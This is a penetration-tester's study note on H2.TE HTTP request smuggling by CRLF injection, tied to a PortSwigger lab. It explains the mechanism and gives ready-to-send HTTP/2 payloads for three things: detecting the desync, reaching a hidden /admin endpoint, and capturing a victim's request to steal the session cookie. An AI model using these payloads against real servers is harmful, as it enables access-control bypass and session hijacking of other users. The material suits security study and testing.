> For the complete documentation index, see [llms.txt](https://michel-disbergen.gitbook.io/hack-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://michel-disbergen.gitbook.io/hack-notes/web-pentesting/_vulnerabilities/http-request-smuggling/h2.te-crlf.md).

# H2.TE crlf

**REQUIREMENTS:**

* Front-end supports HTTP/2 and downgrades to HTTP/1.1 when forwarding to the back-end.
* Front-end does **not** strip or validate CRLF characters (`\r\n`) inside HTTP/2 header values.
* OR Front-end accepts the Transfer-Encoding: chunked header without normalization (simpler, but less common).

**REFERENCE:**

* <https://portswigger.net/web-security/request-smuggling/advanced/lab-request-smuggling-h2-request-smuggling-via-crlf-injection>

**DESCRIPTION:**

HTTP/2 uses length-prefixed binary framing, so `\r\n` inside a header value has no structural meaning on the wire. When a vulnerable front-end downgrades the request to HTTP/1.1, it copies that value into a text-based header line - and the embedded `\r\n` becomes a real header terminator. This lets you smuggle a `Transfer-Encoding: chunked` header past front-end controls, creating a CL.TE-equivalent desync (H2.TE).

**Identifying H2.TE via CRLF injection**

> **OPTION A - Plain header:**&#x20;
>
> A. Use HTTP/2 for the initial request & disable auto-update of the Content-Length.&#x20;
>
> B. add `Transfer-Encoding: chunked` as a normal header. Works if the front-end forwards it without normalization.

> **OPTION B - CRLF injection via Burp Inspector (used):** Smuggles the header inside another value using `\r\n`. In Burp Repeater:&#x20;
>
> A. Use HTTP/2 for the initial request & disable auto-update of the Content-Length.&#x20;
>
> B. **Inspector** -> *Request headers* -> *Add*.&#x20;
>
> C. `Name: foo`, `Value: bar\r\nTransfer-Encoding: chunked` (use shift + enter for '\r\n').&#x20;
>
> D. Send. Request appears "kettled" - headers no longer inspectable. Expected.&#x20;
>
> E. Send any normal follow-up. A **404** confirms the desync. Example: `foo: bar\r\nTransfer-Encoding: chunked`

```bash
# Detect H2.TE vulnerability by sending a special request
POST / HTTP/2
Host: <TARGET>
content-type: application/x-www-form-urlencoded
foo: bar\r\nTransfer-Encoding: chunked
\r\n
0\r\n
\r\n
GET /404 HTTP/1.1\r\n
X-Ignore: x
 
|--follow-up returns 404 on smuggled path	----->	H2.TE (CL.TE equivalent)
```

**1. Proof of concept**&#x20;

Send the following request, then issue any normal follow-up request. If the response returns a 404, the smuggling was successful.

> Full request:

```http
POST / HTTP/2
Host: <TARGET>
content-type: application/x-www-form-urlencoded
foo: bar\r\nTransfer-Encoding: chunked
\r\n
0\r\n
\r\n
GET /testfake404 HTTP/1.1\r\n
X-Ignore: x
```

**2 hidden enpoint payload (comparable to CL.TE)**&#x20;

The smuggled `GET /admin` is framed by the injected `Transfer-Encoding: chunked`. The `0\r\n\r\n` terminates the chunked body from the front-end's perspective; everything after sits in the back-end's socket buffer and gets parsed as the next request.

> Full request:

```http
POST / HTTP/2
Host: <TARGET>
content-type: application/x-www-form-urlencoded
foo: bar\r\nTransfer-Encoding: chunked
\r\n
0\r\n
\r\n
GET /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
X-Ignore: x
```

**3 capture user request payload (comparable to CL.TE 'capture user request')**&#x20;

The smuggled POST stores the victims next request on the back-end. The attacker retrieves it, extracts the session cookie, and hijacks the session. Tune Content-Length to control how much of the victims request gets captured.

> Full request:

```http
POST / HTTP/2
Host: <TARGET>
content-type: application/x-www-form-urlencoded
foo: bar\r\nTransfer-Encoding: chunked
\r\n
0\r\n
\r\n
POST / HTTP/1.1
Host: 0a7c00b103ffc941807d1cdf00e700fb.web-security-academy.net
Cookie: session=DeaCv0vjiuXaLa9IAcJ3VaZX6cmASagL;
Content-Type: application/x-www-form-urlencoded
Content-Length: 200
\r\n
search=sup
```

**NOTES**

* [ ] Once H2.TE is confirmed, all classic CL.TE techniques apply: bypass front-end controls, capture victim requests, reflected XSS via smuggling, cache poisoning.
